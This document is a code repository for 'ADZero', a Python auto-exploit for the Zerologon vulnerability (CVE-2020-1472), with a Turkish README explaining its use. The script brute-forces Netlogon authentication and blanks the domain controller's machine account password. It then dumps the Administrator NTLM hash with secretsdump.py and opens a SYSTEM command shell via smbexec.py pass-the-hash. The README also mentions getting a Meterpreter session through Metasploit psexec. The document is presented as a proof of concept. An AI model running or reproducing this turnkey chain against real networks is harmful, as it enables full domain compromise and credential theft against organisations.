├── .gitignore ├── ADZero.py ├── LICENSE ├── PoC.png ├── README.md └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | env/ 2 | out 3 | -------------------------------------------------------------------------------- /ADZero.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # CVE-2020-1472 - Zerologon 4 | 5 | from argparse import ArgumentParser 6 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \ 7 | NDRUniFixedArray, NDRUniConformantVaryingArray 8 | from impacket.dcerpc.v5.dtypes import WSTR, LPWSTR, DWORD, ULONG, USHORT, PGUID, NTSTATUS, NULL, LONG, UCHAR, PRPC_SID, \ 9 | GUID, RPC_UNICODE_STRING, SECURITY_INFORMATION, LPULONG 10 | 11 | from impacket.dcerpc.v5.nrpc import * 12 | from impacket.dcerpc.v5 import nrpc, epm 13 | from impacket.dcerpc.v5.dtypes import NULL 14 | from impacket.dcerpc.v5 import transport 15 | from impacket import crypto 16 | 17 | import hmac, hashlib, struct, sys, socket, time, os, re, random, string 18 | from binascii import hexlify, unhexlify 19 | from subprocess import check_call 20 | from struct import pack, unpack 21 | from impacket.smbconnection import SMBConnection 22 | 23 | # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average. 24 | MAX_ATTEMPTS = 2000 # False negative chance: 0.04% 25 | 26 | def fail(msg): 27 | print(msg, file=sys.stderr) 28 | print('This might have been caused by invalid arguments or network issues.', file=sys.stderr) 29 | sys.exit(2) 30 | 31 | def try_zero_authenticate(dc_handle, dc_ip, target_computer): 32 | # Connect to the DC's Netlogon service. 33 | binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') 34 | rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() 35 | rpc_con.connect() 36 | rpc_con.bind(nrpc.MSRPC_UUID_NRPC) 37 | 38 | # Use an all-zero challenge and credential. 39 | plaintext = b'\x00' * 8 40 | ciphertext = b'\x00' * 8 41 | 42 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 43 | flags = 0x212fffff 44 | 45 | # Send challenge and authentication request. 46 | nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) 47 | try: 48 | server_auth = nrpc.hNetrServerAuthenticate3(rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,target_computer + '\x00', ciphertext, flags) 49 | 50 | # It worked! 51 | assert server_auth['ErrorCode'] == 0 52 | return rpc_con 53 | 54 | except nrpc.DCERPCSessionError as ex: 55 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 56 | if ex.get_error_code() == 0xc0000022: 57 | return None 58 | else: 59 | fail(f'Unexpected error code from DC: {ex.get_error_code()}.') 60 | except BaseException as ex: 61 | fail(f'Unexpected error: {ex}.') 62 | 63 | 64 | def perform_attack(dc_handle, dc_ip, target_computer): 65 | # Keep authenticating until succesfull. Expected average number of attempts needed: 256. 66 | print("[!] CVE-2020-1472 PoC AutoExploit by PriviaSecurity\n") 67 | print('Performing authentication attempts...') 68 | rpc_con = None 69 | for attempt in range(0, MAX_ATTEMPTS): 70 | rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) 71 | 72 | if rpc_con == None: 73 | print('\rAttempt: %d' % attempt, end='', flush=True) 74 | else: 75 | break 76 | 77 | if rpc_con: 78 | print('\nSuccess! DC can be fully compromised by a Zerologon attack. (attempt={})'.format(attempt)) 79 | else: 80 | print('\nAttack failed. Target is probably patched.') 81 | sys.exit(1) 82 | 83 | return rpc_con 84 | 85 | 86 | def get_authenticator(cred=b'\x00' * 8): 87 | authenticator = nrpc.NETLOGON_AUTHENTICATOR() 88 | authenticator['Credential'] = cred 89 | authenticator['Timestamp'] = 0 90 | return authenticator 91 | 92 | 93 | class NetrServerPasswordSet2(NDRCALL): 94 | opnum = 30 95 | structure = ( 96 | ('PrimaryName', PLOGONSRV_HANDLE), 97 | ('AccountName', WSTR), 98 | ('SecureChannelType', NETLOGON_SECURE_CHANNEL_TYPE), 99 | ('ComputerName', WSTR), 100 | ('Authenticator', NETLOGON_AUTHENTICATOR), 101 | ('ClearNewPassword', NL_TRUST_PASSWORD), 102 | ) 103 | 104 | class NetrServerPasswordSet2Response(NDRCALL): 105 | structure = ( 106 | ('ReturnAuthenticator', NETLOGON_AUTHENTICATOR), 107 | ('ErrorCode', NTSTATUS), 108 | ) 109 | 110 | 111 | def passwordSet2(rpc_con, dc_name, target_account): 112 | dce = rpc_con 113 | 114 | if dce is None: 115 | return 116 | 117 | request = NetrServerPasswordSet2() 118 | request['PrimaryName'] = dc_name + '\x00' 119 | request['AccountName'] = target_account + '\x00' 120 | request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel 121 | request['ComputerName'] = dc_name + '\x00' 122 | request['Authenticator'] = get_authenticator() 123 | 124 | clear = NL_TRUST_PASSWORD() 125 | clear['Buffer'] = b'\x00' * 516 126 | clear['Length'] = '\x00' * 4 127 | request['ClearNewPassword'] = clear 128 | 129 | try: 130 | print() 131 | resp = dce.request(request) 132 | print("[+] CVE-2020-1472 exploited\n") 133 | except Exception as e: 134 | raise 135 | dce.disconnect() 136 | 137 | 138 | def get_shell(administrator_hash, dc_ip): 139 | service_name = "".join(random.choices(string.ascii_uppercase + string.digits, k=10)) 140 | command = "smbexec.py -hashes %s Administrator@%s -service-name '%s'" % (administrator_hash, dc_ip, service_name) 141 | os.system(command) 142 | 143 | 144 | def get_administrator_hash(dom_name, com_name, dc_ip): 145 | out_file = "out" 146 | command = "secretsdump.py -no-pass %s/'%s'@%s -just-dc-user Administrator" % (dom_name, com_name, dc_ip) 147 | os.system("%s > %s" % (command, out_file)) 148 | out_contents = open(out_file, "r").read() 149 | administrator_hash = re.findall("Administrator:500:(.+)", out_contents)[0][:-3] 150 | return administrator_hash 151 | 152 | 153 | def get_target_info(dc_ip): 154 | smb_conn = SMBConnection(dc_ip, dc_ip) 155 | try: 156 | smb_conn.login("", "") 157 | domain_name = smb_conn.getServerDNSDomainName() 158 | server_name = smb_conn.getServerName() 159 | return domain_name, server_name 160 | except: 161 | domain_name = smb_conn.getServerDNSDomainName() 162 | server_name = smb_conn.getServerName() 163 | return domain_name, server_name 164 | 165 | 166 | def parse_args(): 167 | parser = ArgumentParser(prog=ArgumentParser().prog,prefix_chars="-/",add_help=False,description='CVE-2020-1472 PoC AutoExploit by PriviaSecurity') 168 | parser.add_argument("dc_ip", help="Ip address of the domain controller", type=str) 169 | parser.add_argument('-h','--help',action='help', help='Show this help message and exit') 170 | args = parser.parse_args() 171 | return args 172 | 173 | 174 | if __name__ == "__main__": 175 | args = parse_args() 176 | dc_ip = args.dc_ip 177 | dom_name, dc_name = get_target_info(dc_ip) 178 | com_name = dc_name + "$" 179 | rpc_con = perform_attack('\\\\' + dc_name, dc_ip, dc_name) 180 | passwordSet2(rpc_con, dc_name, com_name) 181 | rpc_con.disconnect() 182 | administrator_hash = get_administrator_hash(dom_name, com_name, dc_ip) 183 | get_shell(administrator_hash, dc_ip) 184 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Privia Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PoC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Privia-Security/ADZero/ce20d741d3da28e8bd665443fe5850ffdaba525d/PoC.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Açıklama 2 | 3 | Zafiyetli şifreleme protokolü, netlogon protokolündeki kimlik doğrulama mekanizması yerine uygulanır. Kimliği doğrulanmayan bir saldırgan, Zerologon güvenlik açığını kullanarak Domain Controller makinesinin bilgisayar hesap parolasını boş (null) olarak oluşturabilir (NT hash = 31d6cfe0d16ae931b73c59d7e0c089c0). Böylece, saldırgan oluşturmuş olduğu kimlik bilgileri ile Domain Controller makinesine erişerek diğer kullancıların kimlik bilgilerini elde edebilir. Yetkili kullanıcılara ait kimlik bilgilerinin elde edilmesiyle Domain Controller makinesinde yüksek yetkilerle oturum elde edilebilir. 4 | 5 | ## Kurulum 6 | ``` 7 | python3 -m venv env 8 | source env/bin/activate 9 | pip install -r requirements.txt 10 | ``` 11 | 12 | ## Kullanımı 13 | 14 | ``` 15 | python3 ADZero.py dc_ip 16 | ``` 17 | 18 | Privia Security ekibi tarafından geliştirilen ADZero aracı kullanılarak, Zerologon güvenlik açığı bulunan Domain Controller makinesinde `nt authority\system` yetkisiyle Command Prompt oturum elde edilebilir. 19 | 20 | `python3 ADZero.py dc_ip` komutunun çalıştırılmasıyla, `dc_ip` IP adresine sahip Domain Controller makinesinde `Command Prompt` oturumu elde edilir. 21 | 22 | ADZero aracı, hedef Domain Controller makinesinin `dc_name` (bilgisayar adı) ve `dom_name` (domain adı) bilgisini elde etmek için kimlik bilgileri null olan bir SMB login isteğinde bulunur. Alınan yanıttan, Domain Controller makinesine ait `dc_name` (bilgisayar adı) ve `dom_name` (domain) bilgisi elde edilebilir. 23 | 24 | `dc_name` (bilgisayar adı), `com_name` (bilgisayar adı sonuna `$` sembolünün eklenmesiyle oluşturulan bilgisayar hesabı) ve `dc_ip` (Domain Controller IP adresi) bilgisi kullanılarak güvenlik açığı tetiklenir. Netlogon Remote protokolü üzerinde yapılan istek sonucunda güvenlik açığının tetiklenmesiyle `com_name` (bilgisayar hesabı) parolası boş oluşturulur (NT hash = 31d6cfe0d16ae931b73c59d7e0c089c0). 25 | 26 | Impacket modüllerinden biri olan `secretdump.py` modülü kullanılarak `com_name` (bilgisayar hesabı), `dom_name`, `dc_ip` ve `com_name` için oluşturulan boş parola bilgisiyle Domain Controller makinesinden `Administrator` kullanıcısına ait parola bilgisi `LM:NTLM` hash olarak dump edilir. Ayrıca, dump işlemi sırasında elde edilen `LM:NTLM` hash ``out`` adında bir dosyaya yazdırılır. 27 | 28 | Elde edilen `LM:NTLM` hash'in Impacket modüllerinden `smbexec.py` modülüyle kullanılması sonucunda Domain Controller makinesinde `Command Prompt` oturumu elde edilir. `LM:NTLM` hash değerinin parola olarak kullanılması tekniğine `Pass The Hash` denir. Domain Controller makinesinde bir meterpreter oturumu, ``out`` adlı dosyaya yazdırılan `LM:NTLM` hash değerinin Metasploit Framework içerisindeki `exploit/windows/smb/psexec` exploit modülüyle kullanılması sonucunda elde edilebilir. 29 | 30 | ## Ekran Görüntüleri 31 | 32 | ![](PoC.png) 33 | 34 | ## Kaynak 35 | 36 | https://github.com/blackarrowsec/redteam-research 37 | 38 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | impacket==0.9.21 2 | --------------------------------------------------------------------------------